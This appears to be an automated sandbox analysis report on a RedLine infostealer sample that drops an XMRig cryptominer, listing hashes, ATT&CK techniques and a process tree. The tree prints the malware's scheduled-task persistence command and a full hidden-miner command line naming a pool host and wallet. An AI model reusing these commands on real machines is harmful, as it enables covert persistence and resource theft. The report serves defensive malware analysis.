redline | 03eb4a70bc788ed9cd096d77502ef2f5788e4f3930c3bf5924cead278dc6872d

Analysis

max time kernel
150s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
16/08/2021, 11:42

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General

Target
93b71fada8f1a1d612ba00c5e32d76b1.exe
Size 230KB
Sample210816-5vrxsrelx6
SHA256 03eb4a70bc788ed9cd096d77502ef2f5788e4f3930c3bf5924cead278dc6872d
MD5 93b71fada8f1a1d612ba00c5e32d76b1
SHA1 0f266bdf3bac483c161d3299af79c8471aae23b5
SHA512 797fd9bf7aa38147b14f5121270a52e850479e98a6f2912a16d2196176f8ecfb9ee9f573df4cefbce5465a22b3827b39e95a964fdd989a21c27f93e3d1dcb24b
MD5 SHA1 SHA512

Score

10^/10

redline xmrig discovery infostealer miner persistence spyware stealer

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1132-154-0x0000000002620000-0x0000000002650000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral2/memory/784-195-0x0000000140000000-0x0000000140763000-memory.dmp	xmrig
behavioral2/memory/784-196-0x00000001402F327C-mapping.dmp	xmrig
behavioral2/memory/784-198-0x0000000140000000-0x0000000140763000-memory.dmp	xmrig

Executes dropped EXE 8 IoCs

pid	Process
2388	Chrome4.exe
2752	JoSetp.exe
3992	5810022.exe
504	8235336.exe
1132	8208920.exe
1344	WinHoster.exe
2652	services64.exe
3024	sihost64.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	8235336.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2652 set thread context of 784	2652	services64.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3412	3992	WerFault.exe	77

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2724	schtasks.exe
340	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1132	8208920.exe
2388	Chrome4.exe
3992	5810022.exe
2652	services64.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
3412	WerFault.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe
784	explorer.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	JoSetp.exe
Token: SeDebugPrivilege	3992	5810022.exe
Token: SeDebugPrivilege	1132	8208920.exe
Token: SeDebugPrivilege	2388	Chrome4.exe
Token: SeDebugPrivilege	2652	services64.exe
Token: SeDebugPrivilege	3412	WerFault.exe
Token: SeLockMemoryPrivilege	784	explorer.exe
Token: SeLockMemoryPrivilege	784	explorer.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 3984 wrote to memory of 2388	3984	93b71fada8f1a1d612ba00c5e32d76b1.exe	74
PID 3984 wrote to memory of 2388	3984	93b71fada8f1a1d612ba00c5e32d76b1.exe	74
PID 3984 wrote to memory of 2752	3984	93b71fada8f1a1d612ba00c5e32d76b1.exe	76
PID 3984 wrote to memory of 2752	3984	93b71fada8f1a1d612ba00c5e32d76b1.exe	76
PID 2752 wrote to memory of 3992	2752	JoSetp.exe	77
PID 2752 wrote to memory of 3992	2752	JoSetp.exe	77
PID 2752 wrote to memory of 504	2752	JoSetp.exe	78
PID 2752 wrote to memory of 504	2752	JoSetp.exe	78
PID 2752 wrote to memory of 504	2752	JoSetp.exe	78
PID 2752 wrote to memory of 1132	2752	JoSetp.exe	79
PID 2752 wrote to memory of 1132	2752	JoSetp.exe	79
PID 2752 wrote to memory of 1132	2752	JoSetp.exe	79
PID 504 wrote to memory of 1344	504	8235336.exe	81
PID 504 wrote to memory of 1344	504	8235336.exe	81
PID 504 wrote to memory of 1344	504	8235336.exe	81
PID 2388 wrote to memory of 1000	2388	Chrome4.exe	85
PID 2388 wrote to memory of 1000	2388	Chrome4.exe	85
PID 1000 wrote to memory of 2724	1000	cmd.exe	87
PID 1000 wrote to memory of 2724	1000	cmd.exe	87
PID 2388 wrote to memory of 2652	2388	Chrome4.exe	88
PID 2388 wrote to memory of 2652	2388	Chrome4.exe	88
PID 2652 wrote to memory of 2628	2652	services64.exe	89
PID 2652 wrote to memory of 2628	2652	services64.exe	89
PID 2652 wrote to memory of 3024	2652	services64.exe	91
PID 2652 wrote to memory of 3024	2652	services64.exe	91
PID 2628 wrote to memory of 340	2628	cmd.exe	92
PID 2628 wrote to memory of 340	2628	cmd.exe	92
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95
PID 2652 wrote to memory of 784	2652	services64.exe	95

C:\Users\Admin\AppData\Local\Temp\93b71fada8f1a1d612ba00c5e32d76b1.exe
"C:\Users\Admin\AppData\Local\Temp\93b71fada8f1a1d612ba00c5e32d76b1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Users\Admin\AppData\Local\Temp\Chrome4.exe
  "C:\Users\Admin\AppData\Local\Temp\Chrome4.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:2724
- - C:\Users\Admin\AppData\Roaming\services64.exe
    "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2628
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:340
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      4⤵
      Executes dropped EXE
      PID:3024
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.admin/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BOVf8GOEpqsYJf392VKwN2gwsZ1d06Df9J2hBJw9kUq" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:784
- C:\Users\Admin\AppData\Local\Temp\JoSetp.exe
  "C:\Users\Admin\AppData\Local\Temp\JoSetp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Users\Admin\AppData\Roaming\5810022.exe
    "C:\Users\Admin\AppData\Roaming\5810022.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3992
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3992 -s 2012
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3412
- - C:\Users\Admin\AppData\Roaming\8235336.exe
    "C:\Users\Admin\AppData\Roaming\8235336.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:504
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      Executes dropped EXE
      PID:1344
- - C:\Users\Admin\AppData\Roaming\8208920.exe
    "C:\Users\Admin\AppData\Roaming\8208920.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/504-141-0x00000000026D0000-0x00000000026D7000-memory.dmp

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memory/504-143-0x00000000073E0000-0x00000000073E1000-memory.dmp

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memory/504-137-0x00000000005F0000-0x00000000005F1000-memory.dmp

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memory/504-142-0x00000000078E0000-0x00000000078E1000-memory.dmp

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memory/784-195-0x0000000140000000-0x0000000140763000-memory.dmp

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memory/784-198-0x0000000140000000-0x0000000140763000-memory.dmp

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memory/784-202-0x0000000002220000-0x0000000002240000-memory.dmp

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memory/784-197-0x0000000001FB0000-0x0000000001FD0000-memory.dmp

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memory/784-201-0x0000000002200000-0x0000000002220000-memory.dmp

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memory/1132-158-0x00000000071D0000-0x00000000071D1000-memory.dmp

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memory/1132-167-0x0000000008890000-0x0000000008891000-memory.dmp

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memory/1132-147-0x00000000004A0000-0x00000000004A1000-memory.dmp

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memory/1132-154-0x0000000002620000-0x0000000002650000-memory.dmp

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memory/1132-155-0x00000000077C0000-0x00000000077C1000-memory.dmp

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memory/1132-160-0x0000000007230000-0x0000000007231000-memory.dmp

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memory/1132-170-0x0000000008DB0000-0x0000000008DB1000-memory.dmp

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memory/1132-162-0x0000000007270000-0x0000000007271000-memory.dmp

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memory/1132-169-0x0000000008A60000-0x0000000008A61000-memory.dmp

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memory/1132-165-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

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memory/1132-168-0x0000000008F90000-0x0000000008F91000-memory.dmp

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memory/1132-166-0x0000000007410000-0x0000000007411000-memory.dmp

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memory/1132-173-0x0000000008F70000-0x0000000008F71000-memory.dmp

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memory/1344-164-0x0000000002680000-0x0000000002681000-memory.dmp

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memory/1344-161-0x0000000007620000-0x0000000007621000-memory.dmp

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memory/2388-175-0x0000000000B00000-0x0000000000B01000-memory.dmp

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memory/2388-119-0x0000000000220000-0x0000000000221000-memory.dmp

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memory/2388-178-0x0000000000AF0000-0x0000000000AF2000-memory.dmp

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memory/2388-174-0x0000000000A20000-0x0000000000A2A000-memory.dmp

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memory/2652-193-0x0000000001920000-0x0000000001922000-memory.dmp

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memory/2752-140-0x000000001BDA0000-0x000000001BDA2000-memory.dmp

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memory/2752-124-0x0000000000F50000-0x0000000000F51000-memory.dmp

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memory/2752-126-0x0000000001680000-0x0000000001681000-memory.dmp

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memory/2752-127-0x0000000001690000-0x00000000016B0000-memory.dmp

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memory/2752-128-0x00000000016B0000-0x00000000016B1000-memory.dmp

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memory/3024-190-0x00000000009E0000-0x00000000009E1000-memory.dmp

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memory/3024-194-0x0000000001340000-0x0000000001342000-memory.dmp

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memory/3984-114-0x00000000006D0000-0x00000000006D1000-memory.dmp

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memory/3992-134-0x0000000000510000-0x0000000000511000-memory.dmp

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memory/3992-139-0x0000000000DA0000-0x0000000000DCB000-memory.dmp

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memory/3992-163-0x0000000000A50000-0x0000000000A52000-memory.dmp

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